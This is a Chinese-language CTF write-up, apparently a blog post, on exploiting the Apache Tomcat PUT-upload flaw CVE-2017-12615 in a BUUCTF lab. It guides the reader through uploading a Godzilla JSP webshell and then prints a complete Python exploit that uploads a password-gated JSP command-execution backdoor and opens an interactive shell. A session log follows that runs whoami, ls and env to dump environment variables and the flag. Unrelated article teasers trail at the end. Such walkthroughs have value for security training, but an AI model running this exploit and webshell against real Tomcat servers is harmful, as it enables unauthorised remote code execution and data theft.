当前位置: 首页 > news >正文

BUUCTF-Real-[Tomcat]CVE-2017-12615

目录

漏洞描述

一、漏洞编号:CVE-2017-12615

二、漏洞复现

get flag

漏洞描述

CVE-2017-12615:远程代码执行漏洞

影响范围:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。


通过 PUT 方法的 Tomcat 任意写入文件漏洞

一、漏洞编号:CVE-2017-12615

漏洞简述:Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。

CVE-2017-12615:远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。

靶机:自搭vulhub

攻击IP:本机

二、漏洞复现

1、开启漏洞环境

cd/vulhub/tomcat/CVE-2017-12615

docker-compose up -d

docker ps

2、进入漏洞页面

当你想登录进入,会发现直接报错403。

3、进行抓包,因为漏洞开启了readonly=false这个权限,所以我们可以进行远程代码执行。

我们可以通过上传哥斯拉jsp包达到RCE目的。

那么首先我们就要用哥斯拉生成一个木马,当然后缀是jsp的。

我们在数据包里把GET类型改成PUT类型,后面加上任意自己起的名字,例如shell.jsp

如下数据包,这个就是修改后的数据包

在哥斯拉中,我们选择 管理—>生成—>生成—>jsp后缀木马

做完这一切之后,我们去网页访问shell.jsp。

会发现没有任何显示,这样就对了,我们再用哥斯拉进行连接。具体操作:

目标—>添加—>填写目标url—>连接

可以看到,我们已经可以进入主机执行任意命令了,这样我们就getshell啦!


get flag

我们使用exp进行漏洞测试


#CVE-2017-12615 EXP
__author__ = ' RX '
import requests
import optparse
import timeparse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'''
#上传木马文件
def upload(url):print('[*] 目标地址:'+url)try:respond = requests.put(url+filename+'/',headers=headers,data = data)#print(respond.status_code)if respond.status_code == 201 or respond.status_code == 204:#print('[*] 目标地址:'+url)print('[+] 木马上传成功')except Exception as e:print('[-] 上传失败')return 0#命令执行
def attack(url,cmd):try:respond = requests.get(url+payload+cmd)if respond.status_code == 200:print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())except Exception as e:print('[-] 命令执行错误')
if upload(url) == 0:exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):cmd = input('>>>')if(cmd == 'quit'):breakattack(url,cmd)

┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492     
[+] http://node5.buuoj.cn:26492 存在CVE-2017-12615 Tomcat 任意文件读写漏洞

┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492 
[*] 目标地址:http://node5.buuoj.cn:26492
[+] 木马上传成功
输入执行命令(quit退出):
>>>whoami
root>>>ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work>>>cd /
>>>ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work>>>pwd
/usr/local/tomcat>>>cd /root
>>>ls -al
total 88
drwxr-sr-x 1 root staff    57 Jul 31  2017 .
drwxrwsr-x 1 root staff    20 Jul 31  2017 ..
-rw-r----- 1 root root  57092 Jul 24  2017 LICENSE
-rw-r----- 1 root root   1723 Jul 24  2017 NOTICE
-rw-r----- 1 root root   7064 Jul 24  2017 RELEASE-NOTES
-rw-r----- 1 root root  15946 Jul 24  2017 RUNNING.txt
drwxr-x--- 2 root root    313 Jul 31  2017 bin
drwx--S--- 1 root root     22 Feb  7 08:59 conf
drwxr-sr-x 3 root staff    19 Jul 31  2017 include
drwxr-x--- 2 root root   4096 Jul 31  2017 lib
drwxr-x--- 1 root root    177 Feb  7 08:59 logs
drwxr-sr-x 3 root staff   151 Jul 31  2017 native-jni-lib
drwxr-x--- 2 root root     30 Jul 31  2017 temp
drwxr-x--- 1 root root     18 Jul 24  2017 webapps
drwxr-x--- 1 root root     22 Feb  7 08:59 work
>>>env
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib
CATALINA_HOME=/usr/local/tomcat
LANG=C.UTF-8
HOSTNAME=out
OPENSSL_VERSION=1.1.0f-3
TOMCAT_VERSION=8.5.19
GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23
JAVA_HOME=/docker-java-home/jre
TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1
TOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz.asc
JAVA_VERSION=8u141
TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz
KUBERNETES_PORT=tcp://10.240.0.1:443
PWD=/usr/local/tomcat
HOME=/root
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
CA_CERTIFICATES_JAVA_VERSION=20170531+nmu1
TOMCAT_MAJOR=8
JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1
KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443
FLAG=flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}
SHLVL=0
KUBERNETES_SERVICE_PORT=443
PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_SERVICE_HOST=10.240.0.1
直接运行env即可!打印出环境变量!
flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}

相关文章:

BUUCTF-Real-[Tomcat]CVE-2017-12615

目录 漏洞描述 一、漏洞编号&#xff1a;CVE-2017-12615 二、漏洞复现 get flag 漏洞描述 CVE-2017-12615&#xff1a;远程代码执行漏洞 影响范围&#xff1a;Apache Tomcat 7.0.0 - 7.0.79 (windows环境) 当 Tomcat 运行在 Windows 操作系统时&#xff0c;且启用了 HTTP P…...

Qt应用软件【协议篇】http协议get、post示例

文章目录 QT Http的APIHTTP GET 请求示例HTTP POST 请求示例伪装chrome浏览器get请求QT Http的API QNetworkAccessManager 作用:管理所有的网络请求,是发送请求和接收响应的中心点。主要功能: 发送HTTP请求(GET, POST, PUT, DELETE等)。处理网络请求的异步回调。管理网络…...

如何选择Centos的替代者

开篇废话&#xff1a;许久许久没有更新博客了。寒假回到故土&#xff0c;大雪虽然没有封路&#xff0c;还是增加了不出门的决心&#xff0c;虽然年岁已高&#xff0c;但是不学习还是不踏实&#xff0c;那就借着写作再继续前行。 背景&#xff1a;信息化部门&#xff0c;掌管着…...

【Java数据结构】ArrayList和LinkedList的遍历

一&#xff1a;ArrayList的遍历 import java.util.ArrayList; import java.util.Iterator; import java.util.List;/*** ArrayList的遍历*/ public class Test {public static void main(String[] args) {List<Integer> list new ArrayList<>();list.add(5);list…...

springboot163美食推荐商城的设计与实现

简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的 适用于计算机类毕业设计&#xff0c;课程设计参考与学习用途。仅供学习参考&#xff0c; 不得用于商业或者非法用途&#xff0c;否则&#xff0c;一切后果请用户自负。 看运行截图看 第五章 第四章 获取资料方式 **项…...

[机器学习]K-means——聚类算法

一.K-means算法概念 二.代码实现 # 0. 引入依赖 import numpy as np import matplotlib.pyplot as plt # 画图依赖 from sklearn.datasets import make_blobs # 从sklearn中直接生成聚类数据# 1. 数据加载 # 生成&#xff08;n_samples&#xff1a;样本点&#xff0c;centers&…...

并发编程 java锁机制

1、什么是锁&#xff0c;为什么需要锁&#xff1f; 并发环境下&#xff0c;会存在多个线程对同一个资源进行争抢的情况&#xff0c;假设线程A对资源正在进行修改&#xff0c;此时线程B又对同一资源进行了修改&#xff0c;就会导致数据不一致的问题。为了解决这个问题&#xff…...

Onerugged三防平板厂家丨三年质保承诺丨三防平板PAD

行业领先产品——Onerugged三防平板。凭借着十年的经验&#xff0c;我们深知终端设备在各个行业中的重要性&#xff0c;因此致力于为用户提供高可靠性的解决方案。 Onerugged三防平板以其卓越的性能和全方位的保护功能&#xff0c;在市场上脱颖而出。首先&#xff0c;它拥有IP…...

Android 系统启动流程

一.Android系统启动流程基本框架 Android系统完整的启动过程&#xff0c;从系统层次角度可分为 Linux 系统层、Android 系统服务层、Zygote进程模型三个阶段&#xff1b;从开机到启动 Home Launcher 完成具体的任务细节可分为七个步骤&#xff0c;下面就从具体的细节来解读 And…...

鸿蒙学习-app.json5配置文件

官网文档参考&#xff1a;https://developer.harmonyos.com/cn/docs/documentation/doc-guides-V3/app-configuration-file-0000001427584584-V3 位于AppScope下的app.json5配置文件 一、基础属性 {"app": {/*包名*/"bundleName": "com.example.dem…...

华为OD机试 - 智能成绩表( Python C C++ JavaGo JS PHP)

题目描述 小明是一名新老师&#xff0c;他需要将学生按考试总分或单科分数进行排名。学生的信息包括姓名、科目和对应的分数。帮助小明完成这个任务吧&#xff01; 输入描述 第一行包含两个整数 n 和 m&#xff0c;分别代表学生人数和科目数量。 0 < n < 1000 < m &…...

训练集,验证集,测试集比例

三者的区别 训练集&#xff08;train set&#xff09; —— 用于模型拟合的数据样本。验证集&#xff08;validation set&#xff09;—— 是模型训练过程中单独留出的样本集&#xff0c;它可以用于调整模型的超参数和用于对模型的能力进行初步评估。 通常用来在模型迭代训练时…...

Altium Designer(AD)加载常用元器件库到工程图文教程及视频演示

🏡《专栏目录》 目录 视频演示1,概述2,加载方法3,总结视频演示 Altium Designer(AD)加载常用元器件库到工程 欢迎点击浏览更多高清视频演示 1,概述...

Java学习笔记2024/2/8

面向对象 //面向对象介绍 //面向: 拿、找 //对象: 能干活的东西 //面向对象编程: 拿东西过来做对应的事情 //01-如何设计对象并使用 //1.类和对象 //2.类的几个不错注意事项 1. 类和对象 1.1 类和对象的理解 客观存在的事物皆为对象 &#xff0c;所以我们也常常说万物皆对…...

【安防】三个问题:IPC和ITC主要的差异点和相同点 、影响图像成像效果的因素有哪些、摩尔纹如何产生的和消除方法

问题一、IPC和ITC主要的差异点和相同点 差异点 1、应用场景&#xff1a;IPC主要应用于普通安防监控领域&#xff0c;如广场、商场、公园、写字楼等。它们通常被用于监控室内或有限区域的安全&#xff0c;例如&#xff0c;监控办公室、仓库、门口等。而ITC则主要应用于交通领…...

Windows 安装 MySQL 最新最简教程

Windows 安装 MySQL 最新最简教程 官网地址 https://dev.mysql.com/downloads/mysql/下载 MySQL zip 文件 配置 MySQL1、解压文件 2、进入 bin 目录 搜索栏输入 cmd 回车进入命令行 C:\Users\zhong\Desktop\MySQL\mysql-8.3.0-winx64\mysql-8.3.0-winx64\bin 注意这里是你自己…...

uniapp 本地存储的方式

1. uniapp 本地存储的方式 在uniapp开发中&#xff0c;本地存储是一个常见的需求。本地存储可以帮助我们在客户端保存和管理数据&#xff0c;以便在应用程序中进行持久化存储。本文将介绍uniapp中本地存储的几种方式&#xff0c;以及相关的代码示例。 1.1. 介绍 在移动应用开发…...

25、数据结构/二叉树相关练习20240207

一、二叉树相关练习 请编程实现二叉树的操作 1.二叉树的创建 2.二叉树的先序遍历 3.二叉树的中序遍历 4.二叉树的后序遍历 5.二叉树各个节点度的个数 6.二叉树的深度 代码&#xff1a; #include<stdlib.h> #include<string.h> #include<stdio.h> ty…...

数据结构——D/二叉树

&#x1f308;个人主页&#xff1a;慢了半拍 &#x1f525; 创作专栏&#xff1a;《史上最强算法分析》 | 《无味生》 |《史上最强C语言讲解》 | 《史上最强C练习解析》 &#x1f3c6;我的格言&#xff1a;一切只是时间问题。 ​ 1.树概念及结构 1.1树的概念 树是一种非线性的…...

redis:七、集群方案(主从复制、哨兵模式、分片集群)和面试模板

redis集群方案 在Redis中提供的集群方案总共有三种&#xff08;一般一个redis节点不超过10G内存&#xff09; 主从复制哨兵模式分片集群 主从复制&#xff08;主从数据同步&#xff09; replid和offset Replication Id&#xff1a;简称replid&#xff0c;是数据集的标记&a…...

AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; &#x1f680; AI篇持续更新中&#xff01;&#xff08;长期更新&#xff09; 目前2025年06月05日更新到&#xff1a; AI炼丹日志-28 - Aud…...

Docker 离线安装指南

参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性&#xff0c;不同版本的Docker对内核版本有不同要求。例如&#xff0c;Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本&#xff0c;Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

基于大模型的 UI 自动化系统

基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...

【大模型RAG】Docker 一键部署 Milvus 完整攻略

本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装&#xff1b;只需暴露 19530&#xff08;gRPC&#xff09;与 9091&#xff08;HTTP/WebUI&#xff09;两个端口&#xff0c;即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...

条件运算符

C中的三目运算符&#xff08;也称条件运算符&#xff0c;英文&#xff1a;ternary operator&#xff09;是一种简洁的条件选择语句&#xff0c;语法如下&#xff1a; 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true&#xff0c;则整个表达式的结果为“表达式1”…...

用docker来安装部署freeswitch记录

今天刚才测试一个callcenter的项目&#xff0c;所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...

AGain DB和倍数增益的关系

我在设置一款索尼CMOS芯片时&#xff0c;Again增益0db变化为6DB&#xff0c;画面的变化只有2倍DN的增益&#xff0c;比如10变为20。 这与dB和线性增益的关系以及传感器处理流程有关。以下是具体原因分析&#xff1a; 1. dB与线性增益的换算关系 6dB对应的理论线性增益应为&…...

Go 并发编程基础:通道(Channel)的使用

在 Go 中&#xff0c;Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式&#xff0c;用于在多个 Goroutine 之间传递数据&#xff0c;从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...

在 Spring Boot 中使用 JSP

jsp&#xff1f; 好多年没用了。重新整一下 还费了点时间&#xff0c;记录一下。 项目结构&#xff1a; pom: <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://ww…...

Vue ③-生命周期 || 脚手架

生命周期 思考&#xff1a;什么时候可以发送初始化渲染请求&#xff1f;&#xff08;越早越好&#xff09; 什么时候可以开始操作dom&#xff1f;&#xff08;至少dom得渲染出来&#xff09; Vue生命周期&#xff1a; 一个Vue实例从 创建 到 销毁 的整个过程。 生命周期四个…...